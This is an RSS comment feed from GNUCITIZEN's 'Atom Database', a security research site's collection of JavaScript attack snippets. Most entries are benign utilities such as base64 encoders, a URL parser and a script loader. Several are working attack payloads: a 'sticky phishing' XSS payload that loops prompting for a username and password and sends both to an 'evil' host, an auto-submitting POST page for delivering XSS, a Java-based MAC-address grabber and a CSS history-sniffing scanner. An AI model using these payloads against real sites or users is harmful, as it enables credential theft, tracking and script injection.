<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Comments on: Atom Database</title>
	<atom:link href="http://www.gnucitizen.org/blog/atom-2/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gnucitizen.org/blog/atom-2/</link>
	<description>Information Security Think Tank</description>
	<pubDate>Tue, 06 Jan 2009 13:41:39 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: JeremyAnderson.com &#187; Blog Archive &#187; XSS</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-116962</link>
		<dc:creator>JeremyAnderson.com &#187; Blog Archive &#187; XSS</dc:creator>
		<pubDate>Wed, 19 Mar 2008 18:24:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-116962</guid>
		<description>[...] here are some Atom scriptsÂ      Fatal error: Cannot instantiate non-existent class: simplexmlelement in [...]</description>
		<content:encoded><![CDATA[<p>[...] here are some Atom scriptsÂ      Fatal error: Cannot instantiate non-existent class: simplexmlelement in [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: yUnwEb</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-113394</link>
		<dc:creator>yUnwEb</dc:creator>
		<pubDate>Tue, 12 Feb 2008 05:25:46 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-113394</guid>
		<description>&lt;h3&gt;MAC ADDRESS&lt;/h3&gt;

You can steal the user's MAC address with Java 1.6. For Internet Explorer you can use an applet. This information is very sensitive, because the MAC address is a unique identifier. Although it can be easily changed by the user, it can be useful to identify some users with dynamic IP address or using proxies.

&lt;pre&gt;&lt;code&gt;function get_mac() {
    try {
        var ifaces = java.net.NetworkInterface.getNetworkInterfaces()
        var ifaces_list = java.util.Collections.list(ifaces);
        for (var i = 0; i &#60; ifaces_list.size(); i++) {
            var mac = ifaces_list.get(i).getHardwareAddress();
            if (mac) {
                return mac;
            }
        }
    } catch (e) { }
    return false;
}&lt;/code&gt;&lt;/pre&gt;

Firefox, Opera, Live Connect, Java SE 6, JavaScript, Information Gathering</description>
		<content:encoded><![CDATA[<h3>MAC ADDRESS</h3>
<p>You can steal the user&#8217;s MAC address with Java 1.6. For Internet Explorer you can use an applet. This information is very sensitive, because the MAC address is a unique identifier. Although it can be easily changed by the user, it can be useful to identify some users with dynamic IP address or using proxies.</p>
<pre><code>function get_mac() {
    try {
        var ifaces = java.net.NetworkInterface.getNetworkInterfaces()
        var ifaces_list = java.util.Collections.list(ifaces);
        for (var i = 0; i &lt; ifaces_list.size(); i++) {
            var mac = ifaces_list.get(i).getHardwareAddress();
            if (mac) {
                return mac;
            }
        }
    } catch (e) { }
    return false;
}</code></pre>
<p>Firefox, Opera, Live Connect, Java SE 6, JavaScript, Information Gathering</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: JavaScript Global Namespace Pollution &#124; GNUCITIZEN</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-111199</link>
		<dc:creator>JavaScript Global Namespace Pollution &#124; GNUCITIZEN</dc:creator>
		<pubDate>Thu, 07 Feb 2008 10:12:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-111199</guid>
		<description>[...] polluted by something. The check can be performed by a function similar to the one discussed by the Atom database over [...]</description>
		<content:encoded><![CDATA[<p>[...] polluted by something. The check can be performed by a function similar to the one discussed by the Atom database over [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Adrian Pastor</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-40862</link>
		<dc:creator>Adrian Pastor</dc:creator>
		<pubDate>Wed, 15 Aug 2007 21:55:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-40862</guid>
		<description>&lt;h3&gt;POST METHOD XSS&lt;/h3&gt;

Attack HTML page for XSS vuls that can only be exploited as a POST request (as opposed to GET)

&lt;pre&gt;&lt;code&gt;&#60;html&#62;
&#60;!-- this page would be hosted on the attacker&apos;s site and the victim would need to be tricked into visiting it --&#62;
&#60;form method=&#34;post&#34; action=&#34;http://target/vulnerable.jsp&#34;&#62;
&#60;input type=&#34;text&#34; name=&#34;param&#34; value=&apos;&#60;script&#62;alert(&#34;XSS&#34;)&#60;/script&#62;&apos;&#62;
&#60;/form&#62;
&#60;script&#62;document.forms[0].submit();&#60;/script&#62;
&#60;/html&#62;&lt;/code&gt;&lt;/pre&gt;

Universal, HTML, JavaScript</description>
		<content:encoded><![CDATA[<h3>POST METHOD XSS</h3>
<p>Attack HTML page for XSS vuls that can only be exploited as a POST request (as opposed to GET)</p>
<pre><code>&lt;html&gt;
&lt;!-- this page would be hosted on the attacker&apos;s site and the victim would need to be tricked into visiting it --&gt;
&lt;form method=&quot;post&quot; action=&quot;http://target/vulnerable.jsp&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;param&quot; value=&apos;&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;&apos;&gt;
&lt;/form&gt;
&lt;script&gt;document.forms[0].submit();&lt;/script&gt;
&lt;/html&gt;</code></pre>
<p>Universal, HTML, JavaScript</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Adrian Pastor</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-40854</link>
		<dc:creator>Adrian Pastor</dc:creator>
		<pubDate>Wed, 15 Aug 2007 21:37:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-40854</guid>
		<description>&lt;h3&gt;STICKY PHISHING&lt;/h3&gt;

This payload launches a phishing attack to the user.  It's sticky cuz it won't stop prompting the victim to enter his username and password until he enters both. Once obtained they are forwarded to a third-party site. Ideal for persistent XSS attacks.

&lt;pre&gt;&lt;code&gt;do{a=prompt(&#34;APP_OR_SITE_NAME: an error has ocurred\nPlease enter your USERNAME&#34;,&#34;&#34;);b=prompt(&#34;APP_OR_SITE_NAME: an error has ocurred\nPlease enter your PASSWORD&#34;,&#34;&#34;);} while(a==null &#124;&#124; b==null &#124;&#124; a==&#34;&#34; &#124;&#124; b==&#34;&#34;);alert(&#34;owned!:&#34;+a+&#34;/&#34;+b);window.location=&#34;http://evil/?u=&#34;+a+&#34;&#38;p=&#34;+b&lt;/code&gt;&lt;/pre&gt;

JavaScript, Universal, Password Theft</description>
		<content:encoded><![CDATA[<h3>STICKY PHISHING</h3>
<p>This payload launches a phishing attack to the user.  It&#8217;s sticky cuz it won&#8217;t stop prompting the victim to enter his username and password until he enters both. Once obtained they are forwarded to a third-party site. Ideal for persistent XSS attacks.</p>
<pre><code>do{a=prompt(&quot;APP_OR_SITE_NAME: an error has ocurred\nPlease enter your USERNAME&quot;,&quot;&quot;);b=prompt(&quot;APP_OR_SITE_NAME: an error has ocurred\nPlease enter your PASSWORD&quot;,&quot;&quot;);} while(a==null || b==null || a==&quot;&quot; || b==&quot;&quot;);alert(&quot;owned!:&quot;+a+&quot;/&quot;+b);window.location=&quot;http://evil/?u=&quot;+a+&quot;&amp;p=&quot;+b</code></pre>
<p>JavaScript, Universal, Password Theft</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-35386</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Fri, 13 Jul 2007 13:38:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-35386</guid>
		<description>&lt;div class="message"&gt;the ATOM database is closed for new submissions. we are going re-open the service once we deploy the new application infrastructure.&lt;/div&gt;</description>
		<content:encoded><![CDATA[<div class="message">the ATOM database is closed for new submissions. we are going re-open the service once we deploy the new application infrastructure.</div>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-16965</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Thu, 26 Apr 2007 09:48:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-16965</guid>
		<description>&lt;h3&gt;parseURL&lt;/h3&gt;

This function parse the URL into an object.

&lt;pre&gt;&lt;code&gt;function parseURL(url) {
	var REGEX = /^((\w+):\/\/)?((\w+):?(\w+)?@)?([^\/\?:]+):?(\d+)?(\/?[^\?#]+)?\??([^#]+)?#?(\w*)/;
	
	var fields = {'href': 0, 'username' : 4, 'password' : 5, 'port' : 7, 'protocol' : 2, 'host' : 6, 'hostname' : 6, 'pathname' : 8, 'search' : 9, 'hash' : 10};
	var result = new Object();
	var r = REGEX.exec(url);
	
	for (var field in fields) {
		result[field] = r[fields[field]];
	}
	
	result.hash = result.hash?'#' + result.hash:'#';
	result.search = result.search?'?' + result.search:'?';
	result.username = result.username?result.username:'';
	result.password = result.password?result.password:'';
	
	if (result.port == undefined) {
		switch (result.protocol) {
			case 'http':
				result.port = 80;
				break;
			case 'https':
				result.port = 443;
				break;
			case 'ftp':
				result.port = 21;
				break;
			default:
				result.port = '';
				break;
		}
	}
	
	return result;
}&lt;/code&gt;&lt;/pre&gt;

universal</description>
		<content:encoded><![CDATA[<h3>parseURL</h3>
<p>This function parse the URL into an object.</p>
<pre><code>function parseURL(url) {
	var REGEX = /^((\w+):\/\/)?((\w+):?(\w+)?@)?([^\/\?:]+):?(\d+)?(\/?[^\?#]+)?\??([^#]+)?#?(\w*)/;

	var fields = {'href': 0, 'username' : 4, 'password' : 5, 'port' : 7, 'protocol' : 2, 'host' : 6, 'hostname' : 6, 'pathname' : 8, 'search' : 9, 'hash' : 10};
	var result = new Object();
	var r = REGEX.exec(url);

	for (var field in fields) {
		result[field] = r[fields[field]];
	}

	result.hash = result.hash?'#' + result.hash:'#';
	result.search = result.search?'?' + result.search:'?';
	result.username = result.username?result.username:'';
	result.password = result.password?result.password:'';

	if (result.port == undefined) {
		switch (result.protocol) {
			case 'http':
				result.port = 80;
				break;
			case 'https':
				result.port = 443;
				break;
			case 'ftp':
				result.port = 21;
				break;
			default:
				result.port = '';
				break;
		}
	}

	return result;
}</code></pre>
<p>universal</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-16962</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Thu, 26 Apr 2007 09:39:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-16962</guid>
		<description>&lt;h3&gt;walkJSON&lt;/h3&gt;

This function walk the entire JSON (the &lt;strong&gt;j&lt;/strong&gt; parameter) tree. The &lt;strong&gt;c&lt;/strong&gt; parameter is the function that handles walked nodes.

&lt;pre&gt;&lt;code&gt;function walkJSON(j, c) {
    if (typeof(c) != 'function') {
        return;
    }

    for (var i in j) {
        c(i, j[i]);

        if (j[i] instanceof Array &#124;&#124; typeof(j[i]) == 'object') {
            arguments.callee(j[i], c);
        }
    }
}&lt;/code&gt;&lt;/pre&gt;

universal</description>
		<content:encoded><![CDATA[<h3>walkJSON</h3>
<p>This function walk the entire JSON (the <strong>j</strong> parameter) tree. The <strong>c</strong> parameter is the function that handles walked nodes.</p>
<pre><code>function walkJSON(j, c) {
    if (typeof(c) != 'function') {
        return;
    }

    for (var i in j) {
        c(i, j[i]);

        if (j[i] instanceof Array || typeof(j[i]) == 'object') {
            arguments.callee(j[i], c);
        }
    }
}</code></pre>
<p>universal</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: GNUCITIZEN &#187; Project Digest 200701</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-4393</link>
		<dc:creator>GNUCITIZEN &#187; Project Digest 200701</dc:creator>
		<pubDate>Fri, 16 Feb 2007 21:28:15 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-4393</guid>
		<description>[...] Two more database projects were initiated. There is an Ajax Worm Database and the Atom Database for dangerous JavaScript code snippets. I find them quite useful in my work. XSSDB is also expanding. Soon, there will be a feature for integrating the database with user supplied attack vectors. [...]</description>
		<content:encoded><![CDATA[<p>[...] Two more database projects were initiated. There is an Ajax Worm Database and the Atom Database for dangerous JavaScript code snippets. I find them quite useful in my work. XSSDB is also expanding. Soon, there will be a feature for integrating the database with user supplied attack vectors. [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: GNUCITIZEN &#187; Browser Focus RIP</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-4068</link>
		<dc:creator>GNUCITIZEN &#187; Browser Focus RIP</dc:creator>
		<pubDate>Mon, 12 Feb 2007 23:59:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-4068</guid>
		<description>[...] together with the focus diversion trick to build more advance attack vectors. Check it out here.  &#187; trackback &#124; &#187; digg it &#124; bookmark it with &#187; del.icio.us &#124; written by &#187;pdp [...]</description>
		<content:encoded><![CDATA[<p>[...] together with the focus diversion trick to build more advance attack vectors. Check it out here.  &raquo; trackback | &raquo; digg it | bookmark it with &raquo; del.icio.us | written by &raquo;pdp [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-3918</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Sun, 11 Feb 2007 22:01:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-3918</guid>
		<description>&lt;h3&gt;forcefocus&lt;/h3&gt;

&lt;p&gt;This function can be used to force the focus on a particular element from the current dom.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function forcefocus(target, timeout) {
	var timeout = (timeout == undefined) ? 500 : timeout;

	target.focus();

	setTimeout(function () {
		forcefocus(target);
	}, timeout);
}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;All Browsers, focus&lt;/p&gt;</description>
		<content:encoded><![CDATA[<h3>forcefocus</h3>
<p>This function can be used to force the focus on a particular element from the current dom.</p>
<pre><code>function forcefocus(target, timeout) {
	var timeout = (timeout == undefined) ? 500 : timeout;

	target.focus();

	setTimeout(function () {
		forcefocus(target);
	}, timeout);
}</code></pre>
<p>All Browsers, focus</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Back to the LAN at Disenchant&#8217;s Blog</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-3309</link>
		<dc:creator>Back to the LAN at Disenchant&#8217;s Blog</dc:creator>
		<pubDate>Sun, 04 Feb 2007 14:16:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-3309</guid>
		<description>[...] At this point shame on everyone including me who have to work with webapplication security all days and never had a closer look at pdp&#8217;s Atom Database at GNUCITIZEN. In this database, pdp already described exactly the same as we can read in Jeremiah&#8217;s Blog but thanks to both of them for bringing that stuff to the people because nobody can be aware of things he/she don&#8217;t know. So fact is that pdp already wrote something about that and so it&#8217;s not new. [...]</description>
		<content:encoded><![CDATA[<p>[...] At this point shame on everyone including me who have to work with webapplication security all days and never had a closer look at pdp&#8217;s Atom Database at GNUCITIZEN. In this database, pdp already described exactly the same as we can read in Jeremiah&#8217;s Blog but thanks to both of them for bringing that stuff to the people because nobody can be aware of things he/she don&#8217;t know. So fact is that pdp already wrote something about that and so it&#8217;s not new. [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: GNUCITIZEN &#187; The Shadow</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-3195</link>
		<dc:creator>GNUCITIZEN &#187; The Shadow</dc:creator>
		<pubDate>Fri, 02 Feb 2007 14:26:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-3195</guid>
		<description>[...] We, as computer security professionals, went a little bit ahead of the attackers and developed ways to hijack the user experience across an entire domain. This is done by employing various XMLHttpRequest and IFRAME techniques. For a demonstration of such kind of attack vector, I enclosed the following snippet extracted from the Atom Database. [...]</description>
		<content:encoded><![CDATA[<p>[...] We, as computer security professionals, went a little bit ahead of the attackers and developed ways to hijack the user experience across an entire domain. This is done by employing various XMLHttpRequest and IFRAME techniques. For a demonstration of such kind of attack vector, I enclosed the following snippet extracted from the Atom Database. [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-3127</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Thu, 01 Feb 2007 11:06:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-3127</guid>
		<description>&lt;h3&gt;include&lt;/h3&gt;

&lt;p&gt;Load a remote script file. This function is non-blocking which means that you have to wait for the script to load before using its declarations. For that reason you may want to use the &lt;strong&gt;onload&lt;/strong&gt; callback function.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function include(url, onload) {
	var script = document.createElement('script');
	script.type = 'text/javascript';
	script.onload = onload;
	script.src = url;
	document.body.appendChild(script);
}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Mozilla, Firefox, Opera, include, modules&lt;/p&gt;</description>
		<content:encoded><![CDATA[<h3>include</h3>
<p>Load a remote script file. This function is non-blocking which means that you have to wait for the script to load before using its declarations. For that reason you may want to use the <strong>onload</strong> callback function.</p>
<pre><code>function include(url, onload) {
	var script = document.createElement('script');
	script.type = 'text/javascript';
	script.onload = onload;
	script.src = url;
	document.body.appendChild(script);
}</code></pre>
<p>Mozilla, Firefox, Opera, include, modules</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-3126</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Thu, 01 Feb 2007 10:58:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-3126</guid>
		<description>&lt;h3&gt;include&lt;/h3&gt;

&lt;p&gt;Load a remote script file. This function is non-blocking which means that you have to wait for the script to load before using its declarations.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function include(url) {
	document.write('&#60;' + 'script src="' + url + '" language="javascript" type="text/javascript"' + '&#62;' + '&#60;' + '/script' + '&#62;');
}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;JavaScript, All Browsers, include, modules&lt;/p&gt;</description>
		<content:encoded><![CDATA[<h3>include</h3>
<p>Load a remote script file. This function is non-blocking which means that you have to wait for the script to load before using its declarations.</p>
<pre><code>function include(url) {
	document.write('&lt;' + 'script src="' + url + '" language="javascript" type="text/javascript"' + '&gt;' + '&lt;' + '/script' + '&gt;');
}</code></pre>
<p>JavaScript, All Browsers, include, modules</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: kuza55</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-2716</link>
		<dc:creator>kuza55</dc:creator>
		<pubDate>Wed, 24 Jan 2007 08:21:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-2716</guid>
		<description>&lt;h3&gt;Firefox B64 Functions&lt;/h3&gt;

&lt;p&gt;These functions are part of the javascript window object in the Gecko engine.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;alert (btoa("test"));
alert (atob("dGVzdA=="));&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;JavaScript, Firefox, base64, Encodings&lt;/p&gt;</description>
		<content:encoded><![CDATA[<h3>Firefox B64 Functions</h3>
<p>These functions are part of the javascript window object in the Gecko engine.</p>
<pre><code>alert (btoa("test"));
alert (atob("dGVzdA=="));</code></pre>
<p>JavaScript, Firefox, base64, Encodings</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-2687</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Tue, 23 Jan 2007 16:36:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-2687</guid>
		<description>&lt;h3&gt;b64decode&lt;/h3&gt;

&lt;p&gt;This function decodes base64 strings.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function b64decode(input) {
	var b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

	var result = '';
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;

	var input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');

	do {
		enc1 = b64chars.indexOf(input.charAt(i++));
		enc2 = b64chars.indexOf(input.charAt(i++));
		enc3 = b64chars.indexOf(input.charAt(i++));
		enc4 = b64chars.indexOf(input.charAt(i++));

		chr1 = (enc1 &#60;&#60; 2) &#124; (enc2 &#62;&#62; 4);
		chr2 = ((enc2 &#038; 15) &#60;&#60; 4) &#124; (enc3 &#62;&#62; 2);
		chr3 = ((enc3 &#038; 3) &#60;&#60; 6) &#124; enc4;

		result += String.fromCharCode(chr1);

		if (enc3 != 64)
			result += String.fromCharCode(chr2);

		if (enc4 != 64)
			result += String.fromCharCode(chr3);
	} while (i &#60; input.length);
	
	return result;
}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;JavaScript, Cross-platformed, base64, Encodings&lt;/p&gt;</description>
		<content:encoded><![CDATA[<h3>b64decode</h3>
<p>This function decodes base64 strings.</p>
<pre><code>function b64decode(input) {
	var b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

	var result = '';
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;

	var input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');

	do {
		enc1 = b64chars.indexOf(input.charAt(i++));
		enc2 = b64chars.indexOf(input.charAt(i++));
		enc3 = b64chars.indexOf(input.charAt(i++));
		enc4 = b64chars.indexOf(input.charAt(i++));

		chr1 = (enc1 &lt;&lt; 2) | (enc2 &gt;&gt; 4);
		chr2 = ((enc2 &#038; 15) &lt;&lt; 4) | (enc3 &gt;&gt; 2);
		chr3 = ((enc3 &#038; 3) &lt;&lt; 6) | enc4;

		result += String.fromCharCode(chr1);

		if (enc3 != 64)
			result += String.fromCharCode(chr2);

		if (enc4 != 64)
			result += String.fromCharCode(chr3);
	} while (i &lt; input.length);

	return result;
}</code></pre>
<p>JavaScript, Cross-platformed, base64, Encodings</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-2686</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Tue, 23 Jan 2007 16:34:29 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-2686</guid>
		<description>&lt;h3&gt;b64encode&lt;/h3&gt;

&lt;p&gt;This function encodes a string in base64 format.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function b64encode(input) {
	var b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

	var result = '';
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;
	
	do {
		chr1 = input.charCodeAt(i++);
		chr2 = input.charCodeAt(i++);
		chr3 = input.charCodeAt(i++);
		
		enc1 = chr1 &#62;&#62; 2;
		enc2 = ((chr1 &#038; 3) &#60;&#60; 4) &#124; (chr2 &#62;&#62; 4);
		enc3 = ((chr2 &#038; 15) &#60;&#60; 2) &#124; (chr3 &#62;&#62; 6);
		enc4 = chr3 &#038; 63;
		
		if (isNaN(chr2)) {
			enc3 = enc4 = 64;
		} else if (isNaN(chr3)) {
			enc4 = 64;
		}
		
		result += b64chars.charAt(enc1) + b64chars.charAt(enc2) + b64chars.charAt(enc3) + b64chars.charAt(enc4);
	} while (i &#60; input.length);
	
	return result;
}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;JavaScript, Cross-platformed, base64, Encodings&lt;/p&gt;</description>
		<content:encoded><![CDATA[<h3>b64encode</h3>
<p>This function encodes a string in base64 format.</p>
<pre><code>function b64encode(input) {
	var b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

	var result = '';
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;

	do {
		chr1 = input.charCodeAt(i++);
		chr2 = input.charCodeAt(i++);
		chr3 = input.charCodeAt(i++);

		enc1 = chr1 &gt;&gt; 2;
		enc2 = ((chr1 &#038; 3) &lt;&lt; 4) | (chr2 &gt;&gt; 4);
		enc3 = ((chr2 &#038; 15) &lt;&lt; 2) | (chr3 &gt;&gt; 6);
		enc4 = chr3 &#038; 63;

		if (isNaN(chr2)) {
			enc3 = enc4 = 64;
		} else if (isNaN(chr3)) {
			enc4 = 64;
		}

		result += b64chars.charAt(enc1) + b64chars.charAt(enc2) + b64chars.charAt(enc3) + b64chars.charAt(enc4);
	} while (i &lt; input.length);

	return result;
}</code></pre>
<p>JavaScript, Cross-platformed, base64, Encodings</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: GNUCITIZEN &#187; Atom Database Discussion Topic</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-2654</link>
		<dc:creator>GNUCITIZEN &#187; Atom Database Discussion Topic</dc:creator>
		<pubDate>Mon, 22 Jan 2007 22:22:23 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-2654</guid>
		<description>[...] purpose of this topic is to discuss useful attack snippets (atoms) part of The Atom Database. &#187; trackback &#124; &#187; digg it &#124; bookmark it with &#187; del.icio.us &#124; written by &#187;pdp [...]</description>
		<content:encoded><![CDATA[<p>[...] purpose of this topic is to discuss useful attack snippets (atoms) part of The Atom Database. &raquo; trackback | &raquo; digg it | bookmark it with &raquo; del.icio.us | written by &raquo;pdp [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/atom-2/comment-page-1/#comment-2603</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Sun, 21 Jan 2007 09:26:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/topics/atom-database#comment-2603</guid>
		<description>&lt;h3&gt;historyScan&lt;/h3&gt;

&lt;p&gt;Scan user history. This function enumerates the current user visited links by performing checks on their style.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function getDocument(target) {
	if (target == undefined)
		return document;
	else if (target.contentDocument)
		return target.contentDocument;
	else if (target.contentWindow)
		return target.contentWindow.document;
	else if (target.document)
		return target.document;
	else
		throw 'unable to get document object';
}

function historyScan(callback, URLs) {
	var iframe = document.createElement('iframe');
	iframe.style.visibility = 'hidden';
	document.body.appendChild(iframe);
	
	var doc = getDocument(iframe);
	doc.open();
	doc.write('&#60;style&#62;a:visited{display: none}&#60;/style&#62;');
	doc.close();
	
	for (index = 0; index &#60; URLs.length; index++) {
		var a = doc.createElement('a');
		a.href = URLs[index];
		doc.body.appendChild(a);
		
		if (a.currentStyle)
			var display = a.currentStyle['display'];
		else
			var display = doc.defaultView.getComputedStyle(a, null).getPropertyValue('display')
			
		callback(URLs[index], display == 'none'?true:false);
	}
	
	document.body.removeChild(iframe);
}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;All Browsers, JavaScript, history, scan&lt;/p&gt;</description>
		<content:encoded><![CDATA[<h3>historyScan</h3>
<p>Scan user history. This function enumerates the current user visited links by performing checks on their style.</p>
<pre><code>function getDocument(target) {
	if (target == undefined)
		return document;
	else if (target.contentDocument)
		return target.contentDocument;
	else if (target.contentWindow)
		return target.contentWindow.document;
	else if (target.document)
		return target.document;
	else
		throw 'unable to get document object';
}

function historyScan(callback, URLs) {
	var iframe = document.createElement('iframe');
	iframe.style.visibility = 'hidden';
	document.body.appendChild(iframe);

	var doc = getDocument(iframe);
	doc.open();
	doc.write('&lt;style&gt;a:visited{display: none}&lt;/style&gt;');
	doc.close();

	for (index = 0; index &lt; URLs.length; index++) {
		var a = doc.createElement('a');
		a.href = URLs[index];
		doc.body.appendChild(a);

		if (a.currentStyle)
			var display = a.currentStyle['display'];
		else
			var display = doc.defaultView.getComputedStyle(a, null).getPropertyValue('display')

		callback(URLs[index], display == 'none'?true:false);
	}

	document.body.removeChild(iframe);
}</code></pre>
<p>All Browsers, JavaScript, history, scan</p>
]]></content:encoded>
	</item>
</channel>
</rss>
